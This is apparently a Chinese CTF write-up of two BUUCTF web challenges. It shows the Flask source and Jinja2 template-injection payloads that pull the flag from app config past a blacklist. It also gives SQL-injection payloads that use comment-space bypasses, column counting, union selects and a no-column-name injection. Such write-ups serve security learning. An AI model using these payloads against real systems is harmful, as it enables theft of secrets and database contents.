BUUCTF 25

知识点

Python

  1. url_forget_flashed_messages可参考https://blog.csdn.net/weixin_39808877/article/details/110910717

SQL注入

  1. Mysql5.6及以上版本中 innodb_index_stats 和innodb_table_stats这两个表中都包含所有新创建的数据库和表名
  2. 无列名注入:https://www.jianshu.com/p/6eba3370cfab

25-1 [WesternCTF2018]shrine

做题思路

打开发现代码, ctrl + u查看源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
     {% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

发现是python代码,看到flask,想到模板注入
可以这样测试:

看源码 app.config['FLAG'] = os.environ.pop('FLAG')
推测{ {config}}可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
不过python还有一些内置函数,比如url_forget_flashed_messages

BUUCTF 25_第1张图片

url_for

/shrine/{
     {url_for.__globals__}}

 找到了current_app 然后直接访问

/shrine/{
     {url_for.__globals__['current_app'].config['FLAG']}}

get_flashed_message

同理:

/shrine/{
     {get_flashed_messages.__globals__['current_app'].config['FLAG']}}

 

 25-2 [SWPU2019]Web1

做题思路

首先尝试登陆一下,不行,然后注册一个账号

尝试 admin  于是随便注册一个

BUUCTF 25_第2张图片 尝试申请发布广告

尝试了一下没发现什么,然后找WP

据WP得知是 SQL 注入

尝试  显示 

据WP得知利用group by 可以判断出列数

'/**/group/**/by/**/22' 显示 于是在SQL语句后加一个逗号和单引号闭合后面的语句

'/**/group/**/by/**/23,'  显示判断出列数为22

'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

回显位置为2和3.

查表:

'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 

然后进行无列名注入

'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

你可能感兴趣的:(BUUCTF 25)